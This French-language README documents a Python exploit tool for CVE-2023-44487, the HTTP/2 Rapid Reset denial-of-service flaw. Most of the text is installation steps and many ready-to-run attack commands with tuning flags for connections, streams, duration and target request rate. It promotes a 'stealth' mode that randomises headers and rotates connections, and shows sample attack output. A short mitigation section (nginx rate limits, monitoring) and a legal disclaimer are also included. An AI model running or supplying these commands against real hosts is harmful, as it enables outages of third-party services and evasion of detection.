CVE-2023-44487 — Exploit DoS HTTP/2 Rapid Reset
Édition professionnelle v1.0.1 | Auteur : Sudeepa Wanigarathna
-orange.svg)
Table des matières
Aperçu
Un framework d'évaluation de qualité professionnelle pour CVE-2023-44487, la vulnérabilité HTTP/2 Rapid Reset. Cet outil aide les professionnels de la sécurité à tester et valider les systèmes contre l'une des conditions DoS HTTP/2 les plus impactantes divulguées ces dernières années.
Il démontre comment la création et la réinitialisation rapides de flux HTTP/2 peuvent épuiser les ressources du serveur et provoquer des conditions de déni de service (DoS).
Principales fonctionnalités en un coup d'œil
- Moteur d'attaque multi-connexions — Connexions HTTP/2 simultanées
- Contrôle adaptatif du débit — Ajustement dynamique pour une efficacité maximale
- Mode furtif — En-têtes aléatoires et rotation des connexions
- Rapports complets — JSON/CSV avec évaluation des risques
- Support Docker — Déploiement conteneurisé
- Surveillance en temps réel — Métriques d'attaque et progression en direct
- Journalisation professionnelle — Sortie console colorée avec journalisation fichier
| Utilisation | Résultats |
|---|
 |  |
Détails de la vulnérabilité
CVE-2023-44487 : Attaque HTTP/2 Rapid Reset
Aperçu technique
La vulnérabilité exploite le mécanisme de gestion des flux du protocole HTTP/2 :
- Création de flux — Le client envoie une trame HEADERS pour créer un nouveau flux
- Réinitialisation immédiate — Le client envoie immédiatement une trame RST_STREAM
- Traitement par le serveur — Le serveur doit traiter les deux trames, consommant des ressources
- Épuisement des ressources — Des cycles répétés submergent les ressources du serveur
Impact
- Épuisement des ressources sur les serveurs HTTP/2
- Déni de service (DoS) potentiel
- Peut affecter les équilibreurs de charge, les proxys et les CDN
- Aucune authentification ni privilège spécial requis
Fonctionnalités
Fonctionnalités principales
Capacités avancées
- Support proxy — Configuration proxy extensible
- Pool de connexions — Gestion efficace des connexions
- Récupération d'erreurs — Gestion gracieuse des échecs de connexion
- Réglage des performances — Paramètres configurables pour différents scénarios
- Intégration CI/CD — Adapté aux tests de sécurité automatisés
Prérequis
Configuration système requise
Dépendances
h2>=4.1.0,<5.0.0
aiohttp>=3.8.0,<4.0.0
Installation
1. Installation rapide
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
cd CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 cve-2023-44487-exploit.py --help
2. Environnement virtuel (recommandé)
# Create virtual environment
python3 -m venv venv
# Activate virtual environment
# On Linux/macOS:
source venv/bin/activate
# On Windows:
venv\Scripts\activate
# Install dependencies
pip install -r requirements.txt
3. Installation avec Docker
# Build Docker image
docker build -t cve-2023-44487-exploit .
# Run with Docker
docker run --rm cve-2023-44487-exploit target.com
4. Installation manuelle
# Install without requirements.txt
pip install "h2>=4.1.0,<5.0.0" "aiohttp>=3.8.0,<4.0.0"
# Download the exploit
wget https://raw.githubusercontent.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit/main/cve-2023-44487-exploit.py
# Make executable
chmod +x cve-2023-44487-exploit.py
Démarrage rapide
Utilisation de base
# Simple run with default settings
python3 cve-2023-44487-exploit.py example.com
# Test HTTPS on port 443
python3 cve-2023-44487-exploit.py target.com -p 443 --no-verify
# Test HTTP on port 80
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
Test rapide (5 secondes)
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
Évaluation complète (60 secondes)
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth --no-verify
Guide d'utilisation
Options de ligne de commande
Configuration de la cible
Configuration de l'attaque
Options avancées
Rapports
Options de configuration
Utilisez les indicateurs CLI ci-dessus pour ajuster la concurrence, le volume de flux, la durée et les rapports. Privilégiez des valeurs -c / -s / -d faibles pour la validation initiale, puis montez en charge uniquement sur des systèmes que vous êtes autorisé à tester sous contrainte.
Support Docker
Construire l'image
docker build -t cve-2023-44487-exploit .
Lancer une évaluation de base
docker run --rm cve-2023-44487-exploit target.com
Lancer avec des paramètres personnalisés
docker run --rm cve-2023-44487-exploit target.com -c 100 -s 2000 -d 60
Enregistrer les résultats localement
docker run --rm -v "$(pwd)/results:/app/results" \
cve-2023-44487-exploit target.com -o /app/results/report.json
Mode interactif
docker run --rm -it --entrypoint /bin/bash cve-2023-44487-exploit
Docker Compose
# Start with docker-compose
docker-compose up
# Run with a custom command
docker-compose run --rm exploit target.com -c 100 -s 2000 -d 60
Exemples
1. Évaluation HTTPS de base
python3 cve-2023-44487-exploit.py api.example.com -p 443 --no-verify -c 50 -s 1000 -d 30
2. Évaluation HTTP (sans SSL)
python3 cve-2023-44487-exploit.py api.example.com -p 80 --no-ssl -c 50 -s 1000 -d 30
python3 cve-2023-44487-exploit.py target.com -c 200 -s 5000 -d 120 --target-rps 50000
4. Mode furtif
python3 cve-2023-44487-exploit.py target.com --stealth -c 100 -s 2000 -d 60
5. Test de validation rapide
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
6. Générer un rapport CSV
python3 cve-2023-44487-exploit.py target.com --format csv -o report.csv
7. Ignorer la validation
python3 cve-2023-44487-exploit.py target.com --skip-validation -c 50 -s 1000 -d 30
8. Test de production autorisé
python3 cve-2023-44487-exploit.py production.com -p 443 --no-verify \
-c 100 -s 2000 -d 60 --stealth -o full_report.json
Comprendre les résultats
Métriques de sortie
Niveaux d'évaluation des risques
Exemple de sortie
================================================================================
EXPLOIT EXECUTION SUMMARY
================================================================================
Target: target.com:443
Duration: 30.00s
Total Streams: 15,234
Successful Resets: 15,198
Reset Rate: 506.6/s
Success Rate: 99.76%
Connection Errors: 0
--------------------------------------------------------------------------------
RISK ASSESSMENT
--------------------------------------------------------------------------------
Risk Level: CRITICAL
Risk Score: 95/100
Factors:
- Extremely high reset rate accepted
- Very high success rate
================================================================================
Recommandations de sécurité
Pour les administrateurs système
-
Appliquez les correctifs de sécurité
- Mettez à jour les implémentations HTTP/2 les plus récentes
- Appliquez les correctifs de sécurité spécifiques aux fournisseurs
- Mettez à jour les équilibreurs de charge et les proxys
-
Implémentez la limitation de débit
# Nginx rate limiting example
http {
limit_req_zone $binary_remote_addr zone=http2:10m rate=10r/s;
limit_req zone=http2 burst=20 nodelay;
}
-
Limites de connexion
# Limit connections per client
limit_conn_zone $binary_remote_addr zone=conn_zone:10m;
limit_conn conn_zone 10;
Durcissement de la configuration
| Paramètre | Recommandation |
|---|
| Flux simultanés max | Définir entre 100 et 200 par connexion |
Surveillance
# Monitor HTTP/2 connections
netstat -an | grep 443 | grep ESTABLISHED | wc -l
# Monitor reset-related log entries (example)
grep "RST_STREAM" /var/log/nginx/error.log | wc -l
Contrôles de sécurité recommandés
Avertissement légal
IMPORTANT : LISEZ CE DOCUMENT ATTENTIVEMENT AVANT D'UTILISER CET OUTIL
Cet outil est fourni uniquement à des fins de tests de sécurité autorisés et d'éducation.
Conditions d'utilisation
En utilisant cet outil, vous reconnaissez et acceptez que :
- Vous disposez d'une autorisation écrite explicite pour tester le système cible
- Vous comprenez les risques et l'impact potentiel de cette évaluation
- Vous vous conformerez à toutes les lois et réglementations applicables
- Vous acceptez l'entière responsabilité de vos actions
- Vous n'utiliserez pas cet outil pour des activités non autorisées
Utilisations interdites
Cet outil ne doit PAS être utilisé pour :
- Des tests ou attaques non autorisés
- Un déni de service contre des systèmes dont vous n'êtes pas propriétaire ou que vous n'avez pas la permission de tester
- Perturber des systèmes de production sans autorisation
- Causer un préjudice financier
- Toute activité illégale
Déclaration de responsabilité
L'AUTEUR ET LES CONTRIBUTEURS FOURNISSENT CET OUTIL « TEL QUEL », SANS AUCUNE GARANTIE. L'UTILISATION DE CET OUTIL SE FAIT À VOS PROPRES RISQUES. L'AUTEUR N'EST PAS RESPONSABLE DES DOMMAGES OU PROBLÈMES JURIDIQUES RÉSULTANT DE L'UTILISATION DE CET OUTIL.
L'utilisation non autorisée de cet outil peut violer des lois, notamment :
- Computer Fraud and Abuse Act (CFAA) — États-Unis
- Computer Misuse Act — Royaume-Uni
- Règlement général sur la protection des données (RGPD) — UE
- D'autres lois locales, nationales et internationales applicables
Auteur
Sudeepa Wanigarathna
- Chercheur en sécurité et testeur d'intrusion
- Spécialisé dans la sécurité applicative et les vulnérabilités de protocoles
- GitHub
- LinkedIn
Journal des modifications
Version 1.0.1 (actuelle)
- Correction de l'erreur d'attribut
connection_attempts
- Amélioration de la validation SSL/ALPN
- Ajout de la gestion des délais d'attente
- Récupération d'erreurs améliorée
- Ajout de l'option
--skip-validation
- Support Docker amélioré
Version 1.0.0 (initiale)
- Version initiale de l'édition professionnelle
- Moteur d'attaque multi-connexions
- Contrôle adaptatif du débit
- Mode furtif
- Rapports complets
- Support Docker
Licence
Ce projet est sous licence MIT — voir le fichier LICENSE pour plus de détails.
Remerciements
- Équipe du protocole HTTP/2
- Chercheurs en sécurité ayant identifié CVE-2023-44487
- Communauté open source (projets
h2, aiohttp)
Références
Support
Pour les problèmes et questions :
Carte de référence rapide
# Quick Commands
# Test HTTPS (skip cert verify)
python3 cve-2023-44487-exploit.py target.com --no-verify
# Test HTTP
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
# Quick test (5 seconds)
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5
# Full assessment
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth
# Skip validation
python3 cve-2023-44487-exploit.py target.com --skip-validation
# Docker
docker run --rm cve-2023-44487-exploit target.com
# Help
python3 cve-2023-44487-exploit.py --help
RAPPEL : Obtenez toujours une autorisation appropriée avant de tester un système. Utilisez cet outil de manière responsable et éthique.
Maintenu par Sudeepa Wanigarathna | Dernière mise à jour : août 2026